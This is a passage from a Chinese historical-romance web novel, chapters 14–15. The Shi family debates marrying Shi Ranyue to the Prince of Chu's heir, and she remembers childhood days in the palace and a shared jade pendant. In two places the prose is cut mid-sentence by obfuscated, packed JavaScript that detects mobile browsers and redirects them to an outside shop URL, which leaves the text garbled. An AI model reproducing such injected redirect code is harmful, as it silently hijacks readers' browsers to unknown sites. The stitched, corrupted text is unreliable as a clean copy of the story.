“如果如今这样也不错,那你们豢养那些暗卫和死士做什么?”师冉月道。她闭了闭眼,一口气说下去:“我不晓得方才他与你交底多少。据我所知,他的消息要比我们灵通,范围也比我们大。尤其在京城、在宫中。他手下的人也许不如我们多,但是比我们灵活。与之相比,我们家的人更像是私兵而不是暗卫。更重要的是这是只属于他的而不是楚王府的。再者,只要太子殿下一日不登基,那暴亡的、‘牺牲的’,就不会只是李既、李泊和岳炳。” 师晟垂眸:“若是他肯与我们诚心合作,那倒也罢。只是若他真有心合作,那你的婚姻就会沦为交易。若他反悔,那你的处境将更差。你的婚姻并不能保证什么。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226128|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 师冉月道:“那要看他想要的是什么。” 师晟却仍摇头,只教师冉月先回去。师冉月心下自以为一不做二不休才好,却还是看着兄长眼中的疲惫不忍再继续说,只好转身离开。看着师冉月出了院子,萧晨从屏风后绕出来,走到师晟身后,拿来案上的药油擦在手上,轻轻按摩着师晟的太阳穴,柔声却坚定道:“大丈夫当有决断。六妹妹既已同意,夫君还在担忧什么呢?何况倘若这婚事能成,借着楚王世子的势力,我们弄到那些马匹和铁器也要更容易些了。” 师晟拉过她的手,叹道:“此事成或不成,于小六都没有什么好处。” 萧晨亦叹道:“若是冉月如今有倾慕的人,那也就罢了。可我观察了这些日子,想来这孩子是真没有喜欢的人。何况真心不一定有多要紧。能让冉月的夫家尊敬她爱护她的,一是看她自己的本事,二还是要看我们师家的势力。倘若我们没有那些私兵,没有父祖这些年在朝中积累的门生故友,这种时候,楚王世子又怎会亲自上门提亲呢?” 师晟却仍是没有立刻下决断。他总觉得端木玄在图谋着什么更危险更隐秘的东西,毕竟楚王如今只他一子,继承王位于他是板上钉钉的事,何须大费周折?他担心这种图谋能令师家恢复昔日荣光,亦能让师家从此踏入万劫不复的境地。 于今之际,生死存亡兴许但在一念,即便不顾虑着师冉月自身,他也不能轻易下决断。 只是不晓得小六那个胆大的,与端木玄到底“暗通曲款”了些什么。 师冉月一路木然走回自己的院子,路过师吟月的院落时迟疑了一会儿,还是转身离开。音儿远远地迎着,将她半扶半拽着带回屋来,解开她的披风挂好,又把香薰手炉揣在她手里捂着她微凉的指尖,也不说话,兀自忙得团团转。 师冉月手指轻轻抚弄着手炉上的纹路,袅袅的栀子白苔的香气一点一点缠绕在手指上,蔓延攀升到鼻尖。她轻轻抽动了两下鼻子,单手将手炉搁在案几上,拿起系在腰间的那块只有一半鱼形纹样的玉佩。羊脂白玉的上好底子,微微夹杂了几丝黛色的杂质,却恰恰像是环绕在鱼儿身旁的水波纹,别致非常。她突然笑起来。这般好看的一块玉佩,也怪不得她当年一眼相中了。 承祐二年的时候,八岁的端木萌被大哥端木昀引经据典地教育了一通,什么“子曰”听的小姑娘哭都一愣一愣的,而后便大闹父皇母后,吵着也要到太学与皇兄们学一样的书。彼时帝后都颇宠这个幼女,于是今上当即下令研究起公主的入学事宜,不仅云和公主,除了当时已经备嫁的定陶公主,连着新宁公主和观文公主都一同到太学听学,设立屏风与一般的太学生相隔开来。另令宗室与侯门贵女作伴学。师吟月和师冉月便是当时端木萌亲自给自己挑的伴学。姐妹两人一同入宫,被端木萌热心地亲自请旨一起到东宫去住。岳皇后无奈笑骂:“泼猴子,一个闹不行,倒捉来一帮陪你闹。” 其时师吟月和师冉月已经顶着“五女公子”和“六女公子”的名号与自家哥哥们跟着父亲请来的先生在德清堂学了一两年书。除却师家的孩子,还有世交的人家的孩子,也热热闹闹凑了一帮。不过师冉月自然是不爱捧书本的主儿,碰到感兴趣的话题恨不得追着老师刨根问底,不感兴趣的那是甫一上课了就开始拄着笔杆儿酝酿睡意,或是把前一晚没描完的花样子带到课堂上去,甚至描到书中孔子的画像上。吟月那会儿也只喜欢自己读些正史野史、诗词歌赋,对于先生硬是要求背的“之乎者也”不屑一顾,极其厌烦。再加上师霖、师骁以及官和言的二哥两个会闹的,师家的家塾也算是鸡飞狗跳,成日里不得安宁。 于是乎,对于“伴学”这件事,师冉月的理解就是换个地方继续玩,师吟月的理解就是换个地方继续应付“之乎者也”,遂被师道旷和唐烨联合教育了一通。 唐烨语重心长,怕她们言语不当、行事不端,惹出什么祸来。 岳诗韫却只是很无所谓地挑眉,道:“女孩子家,进了宫也是归皇后娘娘管,有什么可担心的。” 不过是一群小孩子在□□哄着端木萌玩一玩,能有多大风浪呢。 唐烨扶头叹气。 14. 第 14 章 等住进了东宫,师冉月才发现除了自己原先就熟悉的太子殿下与云和公主两兄妹,还有端木氏宗族里的几个孩子也被安排在东宫住。不过师冉月从小脸盲,端木萌拉着他们互相介绍了一番后,当下是都彼此见过了礼,可转头师冉月就都忘在了脑后。 端木萌是不会只与女孩子们习书做女工的,去太学的新鲜劲过了便又换上男装跑到马场跟兄长们骑射。彼时师霖也进了太学,更是常被几个皇子拉到马场去比赛。师霖的骑射不是由宫里的师傅教习,路子又狂又野,常常在马场上一骑绝尘。端木昀和端木齐年长他两三岁,也赞叹不已,一边笑骂一边也甘拜下风。唯独端木萌很不服气,趁着师霖和哥哥们比试练习时,就一边详装自己学着,一边观察他的路子,几次下来便觉得已经摸清了他的路子,自信满满约他单独比试。 师霖闻言,叼着根草在嘴边哼了一声:“公主殿下要玩,臣就不奉陪了。” 端木萌骑在马上居高临下,道:“怎么,你瞧不起女子?” 师霖嗤笑一声:“怎么会。我家两个妹妹的骑射就是我们兄弟几个亲手启蒙的,虽说比不上外头专业的,却也颇有能耐,不比同龄的男子差。”他说着也翻身上马,与端木萌并行在马场上。两匹马慢悠悠地踏着沙地,微微掀起尘土来,混着落日的余晖漫延在地平线。 “公主殿下金枝玉叶,若是因为意气用事,与臣比试,伤着了哪儿,臣可担待不起。” 正说着,端木萌就一皱眉,勒紧了缰绳停下步子。 “怎么了?” “马鞍有些不舒服。” “下来,我看看。” 端木萌利落地翻身下马。师霖上前去仔细检查了一番端木萌用的马鞍,有些不屑地嘲讽道:“马鞍上还要镶珍珠,不知道你是怎么想的。” “谁规定了马鞍上不能镶珍珠?”她那马鞍是命人特意定制的,外面罩着的红黑相间的布料上绣了小马驹的纹样,周围一圈的穗子上串着珍珠。 师霖无奈道:“没谁规定。只是想来给你做马鞍的人见着你这要求就当你是要个花架子,没给你认真做,尺寸不大标准,骑得快些就容易不适。” “那就不是珍珠的事。”端木萌气势不减,又发愁道:“那我们怎么回去?”他们二人已经骑到了马场另一边,周围没有旁人,也没有别的马了。 师霖抬了抬马鞭指着自己的马。 端木萌却皱眉:“你坐过的马鞍,都变色了,我不想坐。”师霖对于自己的马具情谊深厚,癖好特别,不像旁的豪门子弟动不动就换新的。如今这个马鞍还是三年前就开始用的了。 “没别的办法,要不然殿下就自己走回去吧。” 端木萌回头望了望小的像虾米的马场大门和观马的高台,果断上马。 师霖暗笑,把马鞭递给端木萌,道:“那就请公主殿下将就将就罢。”说着和抬起蹄子慢慢往回走的一人一马并肩,一手还牵着端木萌那匹有着温顺的睫毛和眼睛但跑起来一点不输的年轻母马。 端木萌冷不丁道:“那我跟你那两个妹妹比,谁更厉害些?” “比这个干嘛?” “我若是比她们厉害,就当你这个师傅教的不好,便放你一马。若是她们更厉害,那你也教教我,怎么样?” 师霖看向端木萌,八岁的小殿下连头发都没有多长,镶玉的发带高高挽着,发尾不过比肩膀稍长一点。 师霖转回头去,眼睛里满是狡黠:“那我可说不清,何况她们两个又不是我一人教出来的。不如你哪天叫她们与你比试比试。” “不行呀。”端木萌皱眉:“容琯好说,容琇没事就去母后殿里看书,哪里叫得动?” “叫小六也行。论骑射她比小五倒厉害些。大概是小时候跟着殿下上蹿下跳,体力比小五好得多。” 远处高台上,岳皇后笑着看着两个孩子,道:“瞧他们两个,性子也合,相貌也合,倒不如定个亲,才不算辜负了这青梅竹马的情谊。” 身边的黄掌宫笑道:“五殿下前两日还说三公子捉弄她,往她头上放蚂蚱呢。” 岳皇后一撇手帕:“这正是青梅竹马的样子。外头那些小子见了公主们像耗子见了猫,毕恭毕敬又心怀鬼胎的,那怎么行。”不过话一转又发起愁来:“倒是子持这小子,才这么点就看出来眉眼像极了师太傅,万一过几年也是个招摇过市的,满城姑娘的眼光都被他吸去了,那也不大好。不行不行,这么说更得把这两个孩子的姻缘早早定了下来,免得将来谁先一步招了子持做女婿,本宫也不好坏人家婚事了。” 师冉月“噔噔噔”跑过来,腕上金镯子坠着的铃铛“叮铃铃”地响个不停。她拽着岳皇后的袖子问道:“娘娘在看什么?” 岳皇后叫身旁的嬷嬷将她抱起来看,拉着她的手道:“容琯,叫云和做你的三嫂怎么样啊?” “三嫂?像大嫂那样吗?” 端木萌和萧晨可是天差地别的性子。岳诗君正要再解释,却有宫人寻来,道:“皇后娘娘,纯妃娘娘胎像不稳,太医说怕是要早产了。” 岳诗君一瞬间冷了神色,眉心皱起,眼底的神色有些直到如今师冉月都不大想的清。她将师冉月托付给身边的小内侍怀安,又嘱咐人叫端木萌和师霖也回去,便带着一身寒气急匆匆往回走。 当晚除了新宁公主,其余皇子公主等人也都留在了东宫。端木昀尽力安抚着幼小的几个弟妹。不过端木萌并不在“幼小”的行列内,嘴上说着白日里练习骑射累着了要早睡,实则自己一个人偷偷溜回了宫。师吟月是真的作息规律,何况事情本也与她没什么关系,甚至还在琢磨不过是一个妃嫔生产,何至于这般兴师动众,哪怕是皇上最宠爱的官纯妃也有点不同寻常,想着想着便也睡着了。师冉月连日里被宫里的规矩吓得不太敢胡来,白日里精气神没有被消耗,因此一点也不困,却也不好吵师吟月,于是便自己偷偷溜出去寻乐。 也没有叫音儿和水杏,摘下手上的铃铛镯子,她自己穿着一身水青色的小襦裙就悄悄隐入了夜色中。借着身材小又动作轻,躲过了夜里巡视的宫人,也彻底远离了人群。凭着高高悬着的宫灯,她依稀识别着方位,找到去年中秋她和端木萌偷偷埋酒的那棵树下,看见形状熟悉的怪石头,才松了一口气。 连踢带搬挪开石头,她却看着土发起了愁。当初埋的时候是端木萌去叫人找了花房的工具来挖土,如今她什么也没有,四处寻了一圈,也没有看见趁手的石头,又不忍折断树枝,只好拔下头上的银篦来勉强挖土。 “你在做什么?” 裙子卷成一团窝在怀里,袖子也全都挽了上去,师冉月正挖的起劲儿,冷不丁听到问话,吓得一屁股坐在刚挖好的土坑旁。 来人却被逗笑。师冉月抬头一看,觉得眼前人有些眼熟,像是前些日子端木萌介绍的那些人中的一个,想来就不是坏人,先松了一口气,却又听那人问:“你是东宫的小宫女,还是哪家的姑娘,这么晚了怎么不回去就寝?” 师冉月拍拍手站起来,那人原先躬着身看她,也随着她的动作直起腰来。两人还差了一头多的距离,不过好歹师冉月能看清他的脸了,只觉得这人剑眉星目,嘴角笑意温润如玉,虽是看上去只十二三岁的样子,已经像是画本子里的翩翩公子,比起师霖那样看上去就像是个“祸水”的风流纨绔,眼前人才是“陌上人如玉,公子世无双”,大概不会是会去告发她偷溜出来的人,却也只道:“你是谁?而且这么晚了,你不也在这里。” 那人又笑开来,看着她只觉像是某种毛茸茸的小动物,从自己的巢穴里警惕地探头,道:“我叫端木凛。如果我没记错,你应当是云和的伴读,师太傅的小女儿师容琯吧?” 师冉月讶然:“你怎么知道我是谁?” “那日云和不是与我们介绍过了吗?” 师冉月想想,点点头,介绍过是介绍过,只是她都忘在脑后了,也没觉得有什么记住所有人的必要。比起姐姐以能快速记住所有人为荣,她只觉得麻烦。不过听他介绍自己姓“端木”,又叫端木萌为“云和”,又不是皇子,大概也是端木氏宗族中哪位亲王之子、端木萌的堂兄罢。 比起捋清这些,师冉月更急着确认:“你不会去皇后娘娘那儿告发我吧?” “告发你什么?” “没有好好睡觉,偷溜出来......” “不会,你放心。”端木凛笑道。 “那就好那就好。今天下午皇后娘娘回去的时候好像生气了,很吓人,要是这时候让她知道我不听话,说不定要被打板子。” “不听话就会被打板子?” “对呀,我那天听太监们说,有个人不听淑妃娘娘的话,就被打了板子。”不过她很快从打板子的事里跳出来,挥了挥手道:“你要回去睡觉了吗?不回去的话来帮帮我吧。” 端木凛把白衣服下摆系在腰上,也在小土坑前蹲下来,问:“你这是在挖什么?” “秘密。挖出来就给你看。” 端木凛接过她手里的银篦帮她挖着,师冉月又从头上拔下来了一只簪子,那簪子做成了扁头的样式,倒正好方便挖土了。好在当年两个小姑娘也没有埋的太深,又有端木凛帮助,没一会儿就看见两个圆圆的小酒坛盖子露了出来。端木凛又将酒坛周围的土往周边拨了拨,很快就轻松地拔出了两个白瓷的小酒坛。 “你们两个小姑娘在哪里搞的酒?”端木凛惊讶。 “从贤妃娘娘那里顺来的。贤妃娘娘有好些好酒呢,她说这酒甘甜又不烈,我们也可以喝。” 端木凛起开酒坛闻了一闻,像是果酒的味道。看着小姑娘眼巴巴地瞅着他手里的酒,只好道:“这酒应该再埋几年再喝才好。我那里也有这样的酒,明日叫人给你送去。” 师冉月蔫蔫地答应了,又不自觉连打了两个哈欠。端木凛快速又把酒埋了回去,又看师冉月倦的眼皮打架,便把披风解下来给她披上,领着她走回住处去。 一路上师冉月困是困,嘴也没停下,问道:“你是哪个王爷的儿子啊?” “楚王。我的母亲和太傅夫人 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“那你想让我叫你什么?”端木凛边问边思考,“那天云和说你叫师容琯,容琯是你的闺名吗?” “容琯是我的字,我闺名叫冉月。凛哥哥,你的字是什么啊?”国朝一般男子入学即由师长取字,勋爵世族或是读过书的人家也会在及笄或出嫁时给女儿取字。吟月和冉月的字要早些,是在她们跟着兄长入家塾时就由赵太夫人与太傅夫妇商量着敲定了的。 “我字常更。” “长庚星的长庚吗?”她不久前才在书上看到过长庚星,觉得这个星星的名字读起来颇有嚼劲儿,就像嚼糯米糕的时候一样,因此记得倒牢。尤其是发现端木萌不认识这个星星的名字后就更得意了。 “不是。常是经常的常,更是日月更替的更。” “那我就叫你常更哥哥吧!你可以叫我容琯。” “好啊。” 这般一路说着,等到了师冉月住的侧殿门口,三更天都快过去了。师冉月站在廊下把披风解下来,硬要亲自再给端木凛系上。端木凛无奈半蹲下来等师冉月微微点着脚系好,一起身时腰上缀着的玉佩一晃,便被眼尖的师冉月瞧见,赞叹道:“哇,好漂亮的玉佩。” 那玉佩是个双鱼环绕的纹样,中间有暗扣可以一分为二,是端木凛学画一载时自己设计的纹样,用他外祖父送给他的一块白玉请了人雕刻而成。不是太稀罕的玩意儿,却是精巧别致、独一无二的。 端木凛将玉佩解下来,拆开暗扣,将一半的那一条鱼递给师冉月,道:“送你了。我们一人一半。” 师冉月兴高采烈,当下便将那一半玉佩系在腰间,和赵老夫人送给她的一块玉珏左右相对。她谢过端木凛,又惦记着他答应的酒,提醒他莫忘了,一回头看见吟月披着披风在廊下看她,忙与端木凛道别,匆匆拉过师吟月的手回了殿内。 “若我没记错,那人是楚王世子吧,你怎么能随便收了人家的玉佩?” “没事的姐姐,他是个好人。”师冉月抱着师吟月拿出那一套被师霖批为嬉皮赖脸的撒娇功夫,又转移话题:“姐姐今天早上不是也收了屏南侯世子摘的海棠花?” 师吟月霎时红了脸,只催着师冉月去睡觉了。 如今一别经年,物是人非。师冉月手指摩挲着那半块玉佩,来回拨动着暗扣,想起那年两个小孩子幼稚的话还有些想笑。又莫名想着,也许将来什么时候她再想起如今,可能也是一样觉得幼稚。 后来端木凛并没有如约给她果酒,而是弄了一坛果汁来糊弄她。她当年也没尝过酒味儿,傻傻的就相信了,还分给了吟月和端木萌。不过那之后不久,伴学的事也因为平卿贵妃逝世不了了之,新宁公主匆匆和当时也入了太学的小屏南侯李既订了婚,留下黯然神伤和她一同回了师家的师吟月。不过不久师霖和端木萌也被赐婚,倒还算好事一桩。 只是她与端木凛,这些年却再未谋面了。书信里的称呼从“容琯妹妹”到“容琯”再到“阿琯”,字迹也越来越成熟从容。除却中间那几个月,竟从未断过,直到她到了逢州。 师冉月放下玉佩叹了口气。想来师家落难这么大的事,他也不会不知道。 音儿迟疑着靠近,端来一碗温好的红枣百合粥,而后就默默垂手站在一旁,也不言语。师冉月看着好笑,端起粥碗吃了几口,道:“怎么不说话。” “姑娘,你真的要嫁给楚王世子吗?他毕竟不是凛公子。” “是不是又怎么样。难道我要为了他终生不嫁吗?他如今那般处境......此生是否能再见一面都两说,便是见了,我也无法嫁给他。” “姑娘是为了家里?” “我也不讨厌端木玄,这并不算是多么大的牺牲。何况这样我也不是成日里什么都不能做干吃白饭的了,总还算有一点用处。”师冉月喝完了那碗粥,胃里暖和起来,倦意也爬了上来。音儿帮她卸了钗环,默默收好在妆匣里。师冉月盯着妆匣发了会楞,自嘲一笑,转身就寝。 15. 第 15 章 一夜无梦,以至于师冉月早上被音儿叫醒时差点忘了昨日都发生了些什么,听音儿一边给她挽头发,一边说楚王世子已在前院等着见您,才猛地反应过来。 她眼睛还半睁不睁着,嘟囔道:“怎么来这么早,晦气。” “哪里早了我的姑娘呀,五姑娘都在大夫人那里用过早膳回来了,路过咱们院子,听说你还没睡醒,不许我们叫你,自己回去了。” “姐姐这些日子怎么倒喜欢出来活动了,身子可是好转了?” “看起来有些精气神儿了,不过面色还是不好,说话间也是不住地咳。” “郎中怎么说?” “织云姐姐说开的药还是从前那些,而且郎中说五姑娘身子弱,不敢用太重的药,反而有些减轻了剂量。” 师冉月叹气:“这是宫里的太医惯用的招数,怕的就是用药太猛出了意外担上责任......罢了,如今若是一下子请个什么江湖郎中猛地用药换药,也不保准。听说过几日二嫂请的息州的名医就要到了?” “是,大概是在四公子婚宴后两天。” “也好。四哥成亲,五姐姐也能高兴些。”她这会儿可算是完全清醒了,自己拿着脂粉略微上了点淡妆,换上身松花黄色的衣裳,从案上摆的果子里随便拣了一个边走边吃,便往前院去。 前厅里涌动着客套又沉寂的气息。师冉月远远望见师晟与端木玄一左一右坐在主位,下首还坐着大嫂萧晨,便觉得有些头疼了。她微笑着踏进门去,道:“给世子爷请安。问大哥、大嫂安。”又紧接着向师晟和萧晨问:“世子远道而来,怎么不见我二嫂、三嫂?” 却是端木玄站起身道:“今日是在下有事前来单独拜访二姑娘。不知二姑娘可否借一步说话?” 师冉月看着他装的风度翩翩的样子忍不住嘴角抽动,看向师晟和萧晨,两人眼里都是默许,便道:“正好我起晚了,还未吃过早饭。我知道前面巷子里有一家包子做的甚好,不知世子爷介不介意?” “自然不会。” 二人便向师晟和萧晨夫妇告辞,并排往外走。萧晨看着两人背影,神情松懈下来的同时又满眼担忧不解:“怎么这两个人瞧着倒像是已经成婚的样子。” 师晟却松松落落地站起身,背着手,嘴角噙着些笑意,一副大事已定的样子,道:“昨日你还劝我不要妇人之仁,如今你又开始担忧上了。” “我瞧着小六总像看女儿一样。我作为师家宗妇、作为他们的大嫂是一回事,嫁女儿那又是另一回事了。这孩子到现在还爱睡懒觉,也是咱家没有那些晨昏定省的破规矩......不过连早饭也不好好吃,这以后可怎么行。” 师晟笑着扶她一同回屋,道:“幸亏焕儿是个男孩子。” “婷姐儿她们将来我也是要担心的啊......不提这些,还是抓紧再核对一遍后日子锋成亲的流程才是正事。” 师冉月一路领着端木玄到了巷口包子铺,上下打量他一番,只是穿着寻常衣服,未戴玉冠之类的,遂才安然坐下,熟练地叫老板上了两笼灌汤包。 音儿也未跟着,端木玄身边的侍从也离得远远的。师冉月就当没有端木玄这么一个人坐在对面似的,该吃吃该喝喝。吃了一笼蟹黄的,又吃了一笼鲜肉的,末了嫌口有点干有点腻,又叫了碗清汤小馄饨。等馄饨的时候才看向一脸笑看着他的端木玄,道:“你要也想吃就自己点。” “不了。我用过早膳了,家里嬷嬷做的桂花糖糕,二姑娘有没有兴趣尝一尝?” 师冉月摇摇头,接过馄饨,对着掌柜的甜甜道了声谢。那掌柜的也顺嘴问道:“姑娘,你从前都是带着你阿妹来,这小郎君是你什么人哦?”她说的阿妹是音儿。两个人独自在外面时总是不分主仆,以姐妹相称。 师冉月也不含糊:“我未婚夫婿。” 端木玄倒愣了一瞬,随即反应过来,从怀中取出二两银子递给掌柜的,道:“未来得及包红封。感谢掌柜的照顾我未婚娘子的胃口了。” 两人大方的好像已经订婚许久,倒叫人也不好调侃什么了。 师冉月迅速吃光了馄饨,总还是觉得心里别扭。虽说面儿上做给人看的是演的炉火纯青——她时不时抬头瞄两眼端木玄,却也只能看见他那张装的泰然自若的皮,心里便更不舒服起来。 端木玄看她放下碗筷,便把帕子递给她,并用眼神示意掌柜的还在看,拒绝了她用自己的帕子。师冉月只好笑笑,接过暗青色的帕子轻轻擦了擦嘴角,便将银子放在案上起身向芥湖边走去。端木玄倒是在后面不紧不慢,还跟掌柜的打了个招呼寒暄了两句,才小跑了几步追上师冉月。 “怎么这回如此干脆,也不抓着我说废话,直接向我大哥提亲了?” “那会儿提亲,你们家在京城呆的好好的,没有什么考虑我的必要。”端木玄直言。 师冉月低头叹了口气,踱步在廊桥上,木头发出些吱呀吱呀的暗哑声响。“我们家也不是都没有那般远见。” “你家久享富贵安稳,日子过得安逸,自然难往远想。而我日常惊惧不安,自然多想一些。”师冉月扭头看他,他虽没看着她,只是淡淡地望着远方的湖面山峦,眉间也很舒展。想来过去种种他也是被迫,师冉月便有些不忍。 二人沉默着快走到湖心的亭子,方才停下来凭栏歇息。端木玄随手折了枝芦苇在手里把玩,师冉月见了,也不自觉伸手向一枝长得很高的芦苇,却用了一会儿力仍未能掰下来。端木玄见状,伸手轻轻往没被反复掰过的方向一折,芦苇便断下来。 “我听说二姑娘前些日子一直流连田间,可看见了什么?” “农人辛苦。”师冉月轻轻拨弄着芦叶,道:“但江浙这一带近两年收成还不错,纵然是少地的农人也能勉强糊口。京城那些流民今年大多是皖地的。江水大小决口不断,治水却一直没有什么成效。不必说农田,便是房屋也被淹了不少,根本没法住人。还有些,是晋北的,去年大旱。” “这都是天灾,朝中也知道。还有人祸,为了不叫灾民进京告发,流民根本就没有踏上进京路的机会。何况流民也并不都在京城。往京城或是富庶郡县走的是为了讨朝廷一口救灾粮,还有的见识多些,是往地力富饶之处寻出路。或是有勇的,也有往从未开辟过的偏僻之地重新开荒的,指望着新开出来的地,朝廷还没来得及登记造册的,归自己种,也没有税收。” 师冉月默默听着,忍不住盯着端木玄的眼睛,他却好像只是陈述着事实,眼里并没有什么感情。端木玄倒是被她盯着掀起嘴角,道:“怎么,你那点闲着没事的怜悯,竟能让你想要出手改变什么吗?” 师冉月黯然。她后来叫音儿向织雨打听了师吟月与萧晨争执的原因,觉得只不过师吟月是怕她见多了,积累起那些无用的怜悯,倒把自己压垮了,端木玄却是站在对面,纯粹地嘲讽。 端木玄却突然笑开,换了个话题道:“不问问我想和你联姻的目的吗?” “堵我的嘴?”毕竟成婚后夫妻一体,若是端木玄的身世被捅破,她也没什么好处。 端木玄嗤笑一声:“我堵你的嘴有的是方法,哪怕要了你的命又能怎么样。” “世子手下的杀手和探子都是顶级的,甚至据我所知早在几年前那些人就已经不听命于楚王府,而只归世子调遣了。” “的确。但是我手下的人都只能在暗处,打探消息,或是解决少数人是没有问题的,但你们家养的私兵却已经有了些规模。而你们家缺的恰恰是消息。” 师冉月闻言忍不住在心里自嘲,但道:“那又如何呢,不过比寻常侍卫多了些人数和器械罢了。若想与禁军匹敌是万万不能的。”端木玄的确一下子看中了师家的痛处。朝中望族,尤其是久居京城的,大多会暗中培养些自己的势力,包装成家丁的杀手、暗卫、探子,但是有私兵的应该只有师家。历届君王多少都知道些,只是也不清楚虚实,不能明着一举消灭,便暗中刺探打压,或是使朝中势力互相牵制。虽然的确看上去没有对端木氏的统治产生太大威胁,然而朋党间互相牵制时也未免攀比着彼此都把势力更加发展壮大了。 师家的私兵大概是从三代之前就开始培植,到师虑和师道旷年轻时因为单传又不常在京中,便有些停滞,但随着师晟兄弟四人陆续成人,仕途上也没有什么成就,加上党争逐渐兴起,这才加紧了培养。人数不过一千,大多是师家签了死契的或是家生子中挑选出来的。秉着在京不在多,又加上后来师穆、师骁在军中任职,熟悉了禁军的路子,便整合了朝廷练兵的方式与培养杀手的法子。但也因为建制较大,不太灵活,没有太涉猎刺探消息的领域。加上久居京城,铁器不好运输铸造,近些年发展也颇有限制。 不过有这些私兵做底,也未免助长了师道旷等人的自大轻敌,在师道旷左迁御史大夫后并没有太多准备,也不好灵活调动,最后才被打了个措手不及,勉强稳住撤回逢州。 “若能与禁军匹敌,倒不如直接割据称王了。我瞧着逢州这块地界就不错。”端木玄亦玩笑道。 “所以呢,你是想割据称王么?”师冉月挑眉看他,道,“说句不敬的,王爷总有一天要驾鹤,楚王府如今也只有你一个男丁,也册立了世子进了宗谱,继承王位是必然的事。” “人总是不满足的罢。”端木玄眸色深沉,像是可以把师冉月吸入包裹。他转过头,又将渺远的山色盛回眼底:“能更进一步,两相得益,有什么不好呢。何况我也该有一个世子夫人了。” 师冉月皱眉道:“去年末绵姐姐不是刚给你生了长子。” 端木玄挑眉:“是,那又怎样?” 师冉月无奈,却又突然想到了什么似的,往远处打量了一番,道:“这次那个侍女怎么没来?就是把我从宫里带出来那个。方才在我家中时也没看见她。” “烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226130|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水有别的事。” “哦。”师冉月点点头,若有所思却也不再打听。二人并肩站了一会儿,直到飘了些雨丝,师冉月才道:“后日我四哥成亲,我便先回去了。世子自便。”说罢行了一礼,便转身离开,没走几步便看见音儿打着伞快步跑了过来将她拉到伞底下,又叫她自己撑着伞,将披风给她披上。师冉月笑道:“这么点儿雨,我哪有那么娇贵。” “等姑娘着凉了难受了就娇气了。” 师冉月和音儿相携着往回走。快走到巷子口,雨又大了些,原本闲散唠嗑的人也都散去,摆着小摊的木匠也挪到了屋檐下,卖包子的掌柜也叫伙计撑起了雨棚,她却看见端木玄的侍从仍侯在马车旁,并没有过去送伞。再一回头,褐色的身影在雨中仿佛与远处群山融为一体,孤零零的。 很快更大的雨滴砸下来,天地一色。 虽然师骁成亲应该算是师家搬到逢州后第一桩喜事,但在景家晏夫人的帮助下也顺利的很。有过师穆和师霖两场婚事,常规的流程萧晨更是轻车熟路。 于是哗啦啦一天一夜的爆竹声中,师家多了一个四夫人张雁。 这是个面相敦和、性情腼腆的姑娘,圆圆的眉头眼角没有什么棱角,全身上下一片柔和。她完全是在《女戒》《女训》下教导起来的姑娘,旁的诗书却没有看过多少,但是料理家室却也很娴熟。 成亲第二日一早,新妇与家中其他人见过礼后,为着怕劳累到,萧晨便先叫众人散了。端木萌慢悠悠地和师霖并肩往回走,旁边尧儿捧着盏切好的桃子喂着。“我以为四弟那样的性子,会找一个泼辣的新妇呢。” 师霖没有太多关心张雁,只道:“你多小心些自己罢。我这些天提心吊胆的,在外面也总担心。” 端木萌锤他道:“还不是赖你?二哥也没像你这么抱怨。” “那是二嫂稳重,比你不知道让人省心多少。” “我不比小六稳重得多。”端木萌又吃了口桃子,却有些恶心,尧儿忙端走桃子,绵儿紧接着端上一碗酸梅汤来,师霖亲自顺着她的背一点一点喂她喝下,又无奈叹气:“这和小六有什么关系。何况过些日子小六嫁到慕州去,这家里可就真没人给你垫背了。” 慕州楚王府。 “侧夫人,烟水姐姐刚刚派人传话来,说傍晚世子爷就会到慕州城了。” 林绵正哄着端木城用午膳。这孩子近日里总是偷吃丫鬟私下里塞给他的糕点果子,正餐便吃不下什么,却搞的时不时便腹痛,叫府医来看了,只开了点调养的药,劝严加看管,莫要私下乱吃零嘴。 “这两日不是师家四公子娶妻?世子怎么未在逢州观礼,早早回来了。” “想是要料理西院的事。”樱桃压低声音道。林绵敛了神色,只专注喂着端木城吃菜,慢慢道:“罢了,与我们无关。我如今只守好城儿过日子就是了。”她心知端木城是庶长子,虽然说端木玄看上去对此事并没有什么忌讳,但来日的主母若是介怀,他们母子便没有什么好结果了。因此知道端木玄属意师冉月做正妻,她倒是松了一口气。 暮色西垂,端木玄也果然骑着马赶着关城门前进了慕州城,一路上遇见了熟识的人还不紧不慢地寒暄,差点被慕州太守的次子拉进了花楼。就这么晃悠到满城掌灯,才进了楚王府的大门,把马的缰绳扔给侍从,脸上的笑慢慢冷却、滑落,踱步到王府西院。 烟水遥遥迎着行了礼。褪去了在外随行时的暗色紧袖衣着,穿着一身一等侍女的淡烟色装束,头发挽作发髻,戴着王府管事的簪子,不施脂粉却也能看出是个眉目秀丽的佳人。只不过常年习武和做杀手的经历叫她那本该温婉的柳叶眉满是英气,眼间萦绕着深秋井水般的凉意,叫下属和府里的侍从都不敢直视。 待端木玄走进,她才沉声道:“王爷近两日都未进水米,今晨开始昏迷不醒。王妃执意要见小郡主。”端木玄神情未变,推开西院多年未翻修的有些陈旧的门,绕到内室榻前,看着榻上昏迷的端木横,眼里没有一丝感情。他绕到厢房,看见门口守着烟水的下属近黛和寒峦,在门口站了一会子,屋内寂静无声,便对二人道:“明日晨起,送王妃去别苑。” 